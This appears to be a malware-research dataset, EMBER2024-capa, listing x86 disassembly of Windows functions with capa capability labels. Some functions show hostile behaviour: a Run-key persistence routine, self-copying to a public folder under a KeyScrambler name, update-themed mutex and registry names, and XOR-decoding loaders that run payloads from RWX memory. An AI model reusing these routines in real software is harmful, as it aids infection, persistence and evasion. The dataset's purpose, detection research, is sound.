joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401ed7
Capabilities:
Get common file path
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
lea eax, [ebp - 4]
xor ebx, ebx
push eax
push ebx
push ebx
push 0x41fd1c
mov dword [ebp - 4], ebx
call dword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
jns 0x401efc
xor al, al
jmp 0x401f30
lea eax, [ebp - 0x10]
push eax
push ebx
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
test eax, eax
jne 0x401f15
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ebx
push dword [ebp - 4]
call dword [sym.imp.ole32.dll_CoTaskMemFree]
cmp dword [ebp - 0xc], ebx
ja 0x401f2c
cmp dword [ebp - 0x10], 0x40000000
jb 0x401f2e
mov bl, 1
mov al, bl
pop ebx
leave
ret

Function at 0x401f33
Capabilities:
Create directory
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
mov edi, dword [ebp + 8]
xor ebx, ebx
push ebx
mov dword [ebp - 4], ecx
push dword [edi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x401f5f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x401f5f
xor al, al
jmp 0x401fcd
lea ecx, [ebp + 8]
call fcn.00403093
push 0x104
lea ecx, [ebp + 8]
call fcn.004030e6
push eax
push ebx
push 0x421428
push dword [edi]
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push 0xffffffffffffffff
lea ecx, [ebp + 8]
mov edi, eax
call fcn.004030ba
test edi, edi
je 0x401fc0
cmp edi, 0x6f
je 0x401fc0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x401fc0
mov ecx, dword [ebp - 4]
lea eax, [ebp + 8]
push eax
add ecx, 0x20
call fcn.00402f96
mov bl, 1
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.00401252
mov al, bl
pop edi
pop ebx
leave
ret 4

Function at 0x401fd3
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push edi
mov edi, ecx
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x401fec
xor al, al
jmp 0x40209f
push ebx
push esi
lea ecx, [ebp - 8]
call fcn.00403093
push 0x104
lea ecx, [ebp - 8]
call fcn.004030e6
push eax
xor ebx, ebx
push ebx
push ebx
push 0x8026
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push 0xffffffffffffffff
lea ecx, [ebp - 8]
mov esi, eax
call fcn.004030ba
test esi, esi
js 0x402090
push dword [ebp - 8]
lea ecx, [ebp - 4]
call fcn.00403034
push 0x4210fc
lea ecx, [ebp - 4]
call fcn.00402d4b
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x402057
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x402085
push 0x4212ac
lea ecx, [ebp - 4]
call fcn.00402d4b
lea eax, [ebp - 4]
mov ecx, edi
push eax
call fcn.00401f33
test al, al
je 0x402085
lea eax, [ebp - 4]
push eax
lea ecx, [edi + 0x24]
call fcn.00402f96
mov byte [edi + 0x28], 1
mov bl, 1
mov ecx, dword [ebp - 4]
add ecx, 0xfffffff0
call fcn.00401252
mov ecx, dword [ebp - 8]
add ecx, 0xfffffff0
call fcn.00401252
pop esi
mov al, bl
pop ebx
pop edi
leave
ret
Function at 0x4020a2
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
lea ecx, [ebp - 4]
push edi
call fcn.00403093
mov ebx, 0x104
lea ecx, [ebp - 4]
push ebx
call fcn.004030e6
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0xffffffffffffffff
lea ecx, [ebp - 4]
mov edi, eax
call fcn.004030ba
test edi, edi
je 0x402100
cmp edi, ebx
jae 0x402100
lea eax, [ebp - 4]
mov ecx, esi
push eax
call fcn.00401f33
test al, al
je 0x402100
lea eax, [ebp - 4]
push eax
lea ecx, [esi + 0x24]
call fcn.00402f96
mov byte [esi + 0x28], 0
mov bl, 1
jmp 0x402102
xor bl, bl
mov ecx, dword [ebp - 4]
add ecx, 0xfffffff0
call fcn.00401252
pop edi
pop esi
mov al, bl
pop ebx
leave
ret

Function at 0x40217c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x424018]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x208
xor edi, edi
lea eax, [ebp - 0x210]
push edi
push eax
mov esi, ecx
call fcn.004080e0
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
push edi
push 0x421260
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
je 0x402213
lea eax, [ebp - 0x214]
mov dword [ebp - 0x214], edi
push eax
push edi
push 1
push 0x100
push 0x4000002
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.SHLWAPI.dll_SHCreateStreamOnFileEx]
test eax, eax
js 0x402213
mov eax, dword [ebp - 0x214]
test eax, eax
je 0x402215
push eax
call fcn.00402114
test al, al
mov eax, dword [ebp - 0x214]
jne 0x402215
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, edi
jmp 0x402215
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00407bd7
leave
ret

Function at 0x402223
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov edi, ecx
lea ecx, [ebp - 4]
call fcn.00403093
mov ebx, 0x104
lea ecx, [ebp - 4]
push ebx
call fcn.004030e6
push ebx
push eax
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0xffffffffffffffff
lea ecx, [ebp - 4]
mov esi, eax
call fcn.004030ba
test esi, esi
je 0x4022e9
cmp esi, 0x104
jae 0x4022e9
push dword [edi + 0x20]
lea ecx, [ebp - 8]
call fcn.00403034
push 0x42113c
lea ecx, [ebp - 8]
call fcn.00402d4b
lea eax, [ebp - 0xc]
mov dword [ebp - 0x10], ebx
push eax
mov dword [ebp - 0xc], ebx
call dword [sym.imp.KERNEL32.dll_Wow64DisableWow64FsRedirection]
mov dword [ebp - 0x10], eax
cmp eax, 1
je 0x4022a1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, dword [ebp - 8]
push ebx
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x4022c4
cmp dword [ebp - 0x10], 1
jne 0x4022e1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_Wow64RevertWow64FsRedirection]
jmp 0x4022e1
cmp dword [ebp - 0x10], 1
jne 0x4022d3
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_Wow64RevertWow64FsRedirection]
lea eax, [ebp - 8]
push eax
lea ecx, [edi + 0x14]
call fcn.00402de0
mov bl, 1
lea ecx, [esi - 0x10]
call fcn.00401252
mov ecx, dword [ebp - 4]
add ecx, 0xfffffff0
call fcn.00401252
pop edi
pop esi
mov al, bl
pop ebx
leave
ret
Function at 0x4027af
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 8]
push esi
xor esi, esi
push esi
push eax
push esi
push 3
push esi
push esi
push esi
push 0x421274
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x402836
push ebx
push edi
push 4
pop edi
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], edi
push eax
lea eax, [ebp - 4]
mov ebx, str.WindowsUpdateAttempts
push eax
lea eax, [ebp - 0x10]
push eax
push esi
push ebx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x402809
cmp dword [ebp - 0x10], edi
jne 0x402809
mov eax, dword [ebp - 4]
jmp 0x40280e
mov eax, esi
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jae 0x402817
inc eax
mov dword [ebp - 4], eax
push edi
lea eax, [ebp - 4]
mov dword [ebp - 0xc], edi
push eax
push edi
push esi
push ebx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop ebx
pop esi
leave
ret
Function at 0x402bae
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x50
push ebx
push esi
push str.SetDefaultDllDirectories
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x402bdb
push 0x800
call eax
push dword [ebp + 0x10]
lea ecx, [esp + 0xc]
call fcn.00402fe4
lea ecx, [esp + 8]
call fcn.00401940
test al, al
je 0x402c04
lea ecx, [esp + 8]
call fcn.00402b01
mov esi, eax
jmp 0x402d35
call fcn.0040181f
mov bl, al
mov byte [esp + 0xc], bl
test bl, bl
je 0x402c1d
call fcn.004027af
call fcn.00402839
push dword [esp + 0xc]
xor edx, edx
mov ecx, 0x421654
test bl, bl
sete dl
dec edx
and edx, 0xffcda560
add edx, 0x36ee80
call fcn.004038d1
push eax
lea ecx, [esp + 0x1c]
call fcn.00403916
push 6
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
mov dword [esp + 0x10], eax
test eax, eax
js 0x402c6b
push ecx
call fcn.0040148d
pop ecx
test al, al
jne 0x402c79
mov eax, 0x80040703
mov ecx, eax
call fcn.004026ef
mov esi, eax
jmp 0x402d23
mov eax, dword [ebp + 8]
lea ecx, [esp + 0x34]
push dword [ebp + 0x10]
mov byte [esp + 0x30], 0
mov dword [esp + 0x34], eax
call fcn.00402fe4
lea ecx, [esp + 0x38]
call fcn.00403093
xor eax, eax
lea ecx, [esp + 0x4c]
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
call fcn.00403093
lea ecx, [esp + 0x50]
call fcn.00403093
lea ecx, [esp + 0x2c]
mov byte [esp + 0x54], 0
call fcn.004019fd
mov esi, eax
test bl, bl
je 0x402d1a
cmp esi, 0x8004090d
jne 0x402cde
xor esi, esi
jmp 0x402ce4
mov esi, eax
test eax, eax
jne 0x402d1a
lea eax, [esp + 0xc]
push eax
push 2
push 0
push 0x421274
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x402d1a
push str.WindowsUpdateAttempts
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [esp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x2c]
call fcn.004019b7
lea ecx, [esp + 0x10]
call fcn.00402e6d
lea ecx, [esp + 0x14]
call fcn.00403a05
mov ecx, dword [esp + 8]
lea ecx, [ecx - 0x10]
call fcn.00401252
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x403916
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
sub esp, 0x1c
mov edx, 0x41eb0
push ebx
push esi
mov esi, ecx
mov ecx, str.WUUpdateCheckTimeout
push edi
mov dword [esi], eax
call fcn.004038d1
mov bl, byte [ebp + 0xc]
xor edi, edi
push edi
push 1
push edi
mov dword [esi + 4], eax
mov dword [esi + 0xc], edi
mov byte [esi + 0x10], bl
mov byte [esi + 0x11], 1
mov dword [esi + 0x14], edi
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [esi + 8], eax
test eax, eax
je 0x403971
lea eax, [ebp + 0xc]
push eax
push edi
push esi
push 0x403a56
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 0xc], eax
test bl, bl
je 0x4039e0
lea ecx, [ebp - 0x18]
call fcn.00403093
mov dword [ebp - 4], edi
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x10], edi
mov dword [ebp - 0xc], edi
mov edi, str.GlobalEdgeUpdate
push edi
mov dword [ebp - 8], 0x4219d0
call fcn.0040fbe8
pop ecx
push eax
push edi
lea ecx, [ebp - 0x18]
call fcn.004032c9
lea ecx, [ebp - 0x14]
call fcn.0040544b
mov edi, str.c1810bdb_a54b_4a98_a576_015e4b8605b6
push edi
call fcn.0040fbe8
pop ecx
push eax
push edi
lea ecx, [ebp - 0x18]
call fcn.00403380
push dword [ebp - 0x18]
lea eax, [ebp - 0x14]
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventW]
lea ecx, [ebp - 0x18]
mov dword [esi + 0x14], eax
call fcn.004039e9
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 8

Function at 0x403b18
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push edi
mov esi, ecx
call fcn.00403ba7
xor edi, edi
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esi + 4], eax
cmp eax, 0xffffffff
je 0x403b9f
push edi
push edi
push edi
push 2
push edi
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [esi + 8], eax
test eax, eax
je 0x403b98
push edi
push edi
push edi
push 4
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edx, eax
mov dword [esi + 0xc], edx
test edx, edx
je 0x403b98
push 7
pop ecx
xor eax, eax
lea edi, [ebp - 0x1c]
rep stosd dword es:[edi], eax
push 0x1c
lea ecx, [ebp - 0x1c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x403b98
mov ecx, dword [ebp - 0x10]
mov al, 1
mov dword [esi + 0x10], ecx
jmp 0x403ba1
mov ecx, esi
call fcn.00403ba7
xor al, al
pop edi
pop esi
leave
ret 4
Function at 0x403e21
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
mov ecx, dword [ecx]
push ebx
push esi
push edi
sub ecx, 0x10
mov dword [ebp - 8], edx
call fcn.0040340b
push 0x44
xor ebx, ebx
push ebx
lea esi, [eax + 0x10]
lea eax, [ebp - 0x5c]
mov dword [ebp - 4], esi
push eax
call fcn.004080e0
xor eax, eax
lea edi, [ebp - 0x18]
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
or dword [ebp - 0x30], 0x81
xor eax, eax
inc eax
mov word [ebp - 0x2c], ax
cmp dword [esi - 4], eax
jle 0x403e82
push dword [esi - 0xc]
lea ecx, [ebp - 4]
call fcn.004034b5
mov esi, dword [ebp - 4]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x5c]
push eax
push ebx
push ebx
push 0x400
push ebx
push ebx
push ebx
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x403eb1
mov edi, dword [ebp - 8]
test edi, edi
je 0x403eec
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [edi], eax
jmp 0x403eec
cmp byte [ebp + 8], bl
je 0x403ec1
push 0xffffffffffffffff
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 8]
test eax, eax
je 0x403ed9
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
setne bl
jmp 0x403edc
xor ebx, ebx
inc ebx
push dword [ebp - 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [ebp - 0x14]
call edi
lea ecx, [esi - 0x10]
call fcn.00401252
pop edi
pop esi
mov al, bl
pop ebx
leave
ret

Function at 0x4045ae
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 4]
push ebx
push edi
push eax
push 1
xor ebx, ebx
mov edi, ecx
push ebx
push dword [ebp + 8]
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x404621
push esi
lea eax, [ebp - 0xc]
mov dword [ebp - 0x10], ebx
push eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0xc], 4
push eax
lea eax, [ebp - 8]
mov dword [ebp - 8], ebx
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
jne 0x404621
cmp dword [ebp - 8], 4
jne 0x404621
cmp dword [ebp - 0xc], 4
ja 0x404621
mov eax, dword [ebp - 0x10]
mov dword [edi], eax
mov byte [edi + 4], 1
jmp 0x404626
mov dword [edi], ebx
mov dword [edi + 4], ebx
mov eax, edi
pop edi
pop ebx
leave
ret
Function at 0x10016f78
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x10016f87
pop dword [ebp - 0x48]
mov eax, 0xa0b152aa
sub eax, 0x90afe323
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0xc331a669
sub dword [ebp - 0x58], 0x74df611e
mov dword [ebp - 0x54], 0x44532f1f
sub dword [ebp - 0x54], 0x121fe2da
mov dword [ebp - 0x50], 0xe9c1673a
sub dword [ebp - 0x50], 0x9d75230c
mov dword [ebp - 0x4c], 0xb391d406
add dword [ebp - 0x4c], 0x4c6e2bfa
lea eax, [ebp - 0x58]
push eax
mov eax, 0x555b1778
sub eax, 0x45596768
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0xa0cc0553
sub dword [ebp - 0x58], 0x2c599bfd
mov dword [ebp - 0x54], 0xcf6ca0e1
sub dword [ebp - 0x54], 0x8e003f6c
mov dword [ebp - 0x50], 0x62c89db3
sub dword [ebp - 0x50], 0xff593147
mov dword [ebp - 0x4c], 0xc6b325a1
add dword [ebp - 0x4c], 0x394cda5f
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0xa2626f15
sub eax, 0x9260bf01
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x3f8b8
push 0
call eax
mov ecx, 0x84e38e9
sub ecx, 0x84debc4
mov edi, eax
mov ebx, 0x1002b000
add ebx, dword [ebp - 0x48]
mov esi, 0x92b1086
add esi, 0xa9c352b8
sub dword [ebp - 0x24], 0xc2cf3f46
mov edx, dword [ebx]
add dword [ebp - 0x3c], 0xcc3cc3d7
xor edx, esi
xor dword [ebp - 0x10], ebx
mov dword [edi], edx
xor dword [ebp - 0x44], edi
add edi, 4
add ebx, 4
loop 0x100170a3
add eax, 0xc57994f6
add eax, 0x3a879271
xor ebx, ebx
add ebx, eax
add eax, 0xf61a8e9d
sub eax, 0xf61a8e98
mov ecx, 0xafc9e6a8
sub ecx, 0x9fc9e6a8
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x10001820
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1001b498
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x100227fc]
xor eax, esp
mov dword [esp + 0x1c], eax
push esi
push edi
mov eax, dword [0x100227fc]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
mov dword [esp + 0x20], 0xf
mov dword [esp + 0x1c], 0
mov byte [esp + 0xc], 0
push 0x10026e00
lea ecx, [esp + 0x10]
mov dword [esp + 0x3c], 0
call fcn.10005610
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
mov edx, dword [ecx + eax + 0xc]
add ecx, eax
and dl, 6
movsx eax, dl
add esp, 4
neg eax
sbb eax, eax
not eax
test ecx, eax
je 0x100019b7
mov eax, dword [esp + 0x1c]
push eax
mov edi, eax
call fcn.10006ecd
add esp, 4
cmp dword [esp + 0x20], 0x10
mov esi, eax
mov eax, dword [esp + 0xc]
jae 0x100018c3
lea eax, [esp + 0xc]
mov edx, esi
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x100018c7
xor ecx, ecx
test edi, edi
jle 0x100018f8
mov dl, byte [esi + ecx]
xor eax, eax
lea esp, [esp]
cmp dl, byte [esi + eax]
jne 0x100018ee
cmp ecx, eax
jge 0x100018ee
mov dl, 0x61
mov byte [esi + ecx], dl
inc eax
cmp eax, edi
jl 0x100018e0
inc ecx
cmp ecx, edi
jl 0x100018d7
cmp byte [esi], 0x2d
jne 0x1000190a
push 0x1001f0c0
call fcn.10004b30
add esp, 4
test edi, edi
jle 0x10001927
lea esi, [esi + edi - 1]
mov cl, byte [esi]
cmp cl, 0x30
jl 0x10001923
cmp cl, 0x39
jg 0x10001923
call fcn.10004df0
dec esi
dec edi
jne 0x10001912
push 0xa
mov ecx, 0x10026d48
call fcn.10002680
mov ecx, dword [0x10026d48]
mov eax, dword [ecx + 4]
xor esi, esi
test byte [eax + 0x10026d54], 6
jne 0x10001960
mov eax, dword [eax + 0x10026d80]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x10001960
mov esi, 4
mov ecx, dword [0x10026d48]
mov ecx, dword [ecx + 4]
add ecx, 0x10026d48
test esi, esi
je 0x10001989
mov eax, dword [ecx + 0xc]
or eax, esi
cmp dword [ecx + 0x38], 0
jne 0x10001981
or eax, 4
push 0
push eax
call fcn.100015c0
push 0x10026e00
lea ecx, [esp + 0x10]
call fcn.10005610
mov edx, dword [eax]
mov ecx, dword [edx + 4]
add ecx, eax
mov eax, dword [ecx + 0xc]
and al, 6
movsx edx, al
add esp, 4
neg edx
sbb edx, edx
not edx
test ecx, edx
jne 0x100018a3
cmp dword [esp + 0x20], 0x10
jb 0x100019cb
mov eax, dword [esp + 0xc]
push eax
call fcn.10007ec3
add esp, 4
xor eax, eax
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [esp + 0x1c]
xor ecx, esp
call fcn.10007388
mov esp, ebp
pop ebp
ret
Function at 0x10001bc0
Capabilities:
Copy file
Set current directory

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push edi
push 0x104
push 0x10027f60
push 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_CopyFileW]
push 1
push str.C:UsersPublicLibrariesSmileTVKeyScrambler.exe
push 0x10027f60
call edi
push 0x104
push 0x10027d58
push 0
call esi
push 0x5c
push 0x10027d58
call fcn.10007d33
add esp, 8
xor ecx, ecx
push 0x10027d58
mov word [eax + 2], cx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push 1
push str.C:UsersPublicLibrariesSmileTVKeyScramblerIE.DLL
push str.KeyScramblerIE.DLL
call edi
pop edi
pop esi
ret

Function at 0x10002350
Capabilities:
Allocate or change rwx memory
Persist via run registry key
Set registry value

Disassembly:
call fcn.10002000
push 0x32
push 0x1001f130
push 1
push 0x1001f164
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
call fcn.10001bc0
push str.Start...Code_Return_value_n
call fcn.10007d61
call fcn.10001790
push str.Start......Code_Return_value_Ok_n
call fcn.10007d61
add esp, 8
jmp fcn.10001f40

Function at 0x10007388
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100227fc]
jne 0x10007392
repz ret
jmp fcn.1000c398
Function at 0x10016567
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x100227fc]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.1000f396
and dword [ebp - 0x14], 0
cmp dword [0x10027cfc], 0
mov dword [ebp - 0x18], eax
jne 0x1001661a
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x100166c2
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x100166c2
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x10027cfc], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x10027d00], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x10027d04], eax
call edi
push eax
call esi
mov dword [0x10027d0c], eax
test eax, eax
je 0x1001661a
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x10027d08], eax
mov eax, dword [0x10027d08]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x10016673
cmp dword [0x10027d0c], ecx
je 0x10016673
push eax
call esi
push dword [0x10027d0c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x10016673
test ebx, ebx
je 0x10016673
call edi
test eax, eax
je 0x1001666a
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x1001666a
test byte [ebp - 8], 1
jne 0x10016673
or dword [ebp + 0x10], 0x200000
jmp 0x100166a6
mov eax, dword [0x10027d00]
cmp eax, dword [ebp - 0x18]
je 0x100166a6
push eax
call esi
test eax, eax
je 0x100166a6
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x100166a6
mov eax, dword [0x10027d04]
cmp eax, dword [ebp - 0x18]
je 0x100166a6
push eax
call esi
test eax, eax
je 0x100166a6
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x10027cfc]
call esi
test eax, eax
je 0x100166c2
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x100166c4
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10007388
leave
ret

Function at 0x431005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43100c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x403e6a
nop
sub eax, 0x403e10
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x431030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
jne 0x43101e
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp loc.00401219